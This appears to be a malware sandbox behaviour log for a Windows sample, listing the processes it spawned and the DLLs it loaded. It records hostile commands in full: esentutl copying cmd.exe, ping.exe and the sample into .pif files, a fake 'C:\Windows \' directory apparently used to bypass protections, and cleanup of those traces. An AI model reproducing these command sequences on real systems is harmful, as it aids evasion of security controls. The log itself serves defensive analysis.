Source: EPTMAcgvNZ.exe Virustotal: Detection: 71%
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe File read: C:\Users\user\Desktop\EPTMAcgvNZ.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\EPTMAcgvNZ.exe "C:\Users\user\Desktop\EPTMAcgvNZ.exe"
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\yihfsboC.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\EPTMAcgvNZ.exe /d C:\\Users\\Public\\Libraries\\Cobsfhiy.PIF /o
Source: C:\Windows\SysWOW64\esentutl.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Source: C:\Users\Public\alpha.pif Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Source: unknown Process created: C:\Users\Public\Libraries\Cobsfhiy.PIF "C:\Users\Public\Libraries\Cobsfhiy.PIF"
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: unknown Process created: C:\Users\Public\Libraries\Cobsfhiy.PIF "C:\Users\Public\Libraries\Cobsfhiy.PIF"
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\yihfsboC.cmd" " Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\EPTMAcgvNZ.exe /d C:\\Users\\Public\\Libraries\\Cobsfhiy.PIF /o Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \" Jump to behavior
Source: C:\Users\Public\alpha.pif Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: url.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
